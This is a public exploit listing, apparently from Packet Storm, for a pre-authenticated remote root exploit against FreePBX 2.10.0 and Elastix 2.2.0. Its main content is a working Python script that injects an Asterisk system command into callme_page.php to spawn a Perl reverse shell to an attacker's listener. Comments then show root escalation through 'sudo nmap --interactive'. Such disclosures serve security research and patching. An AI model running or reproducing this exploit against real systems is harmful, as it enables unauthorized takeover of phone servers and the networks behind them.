Profile image for mrk studios muts on March 23, 2012
FreePBX version 2.10.0 and Elastic version 2.2.0 remote root code execution exploit.
Platforms
na
Category
webapps
Tags
exploit remote root code execution
Source
packetstormsecurity.org
Download
Exploit Code

FreePBX 2.10.0 / Elastic 2.2.0 Remote Code Execution


#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2010
# Author: muts
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
import urllib
rhost="172.16.254.72"
lhost="172.16.254.223"
lport=443
extension="1000"

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


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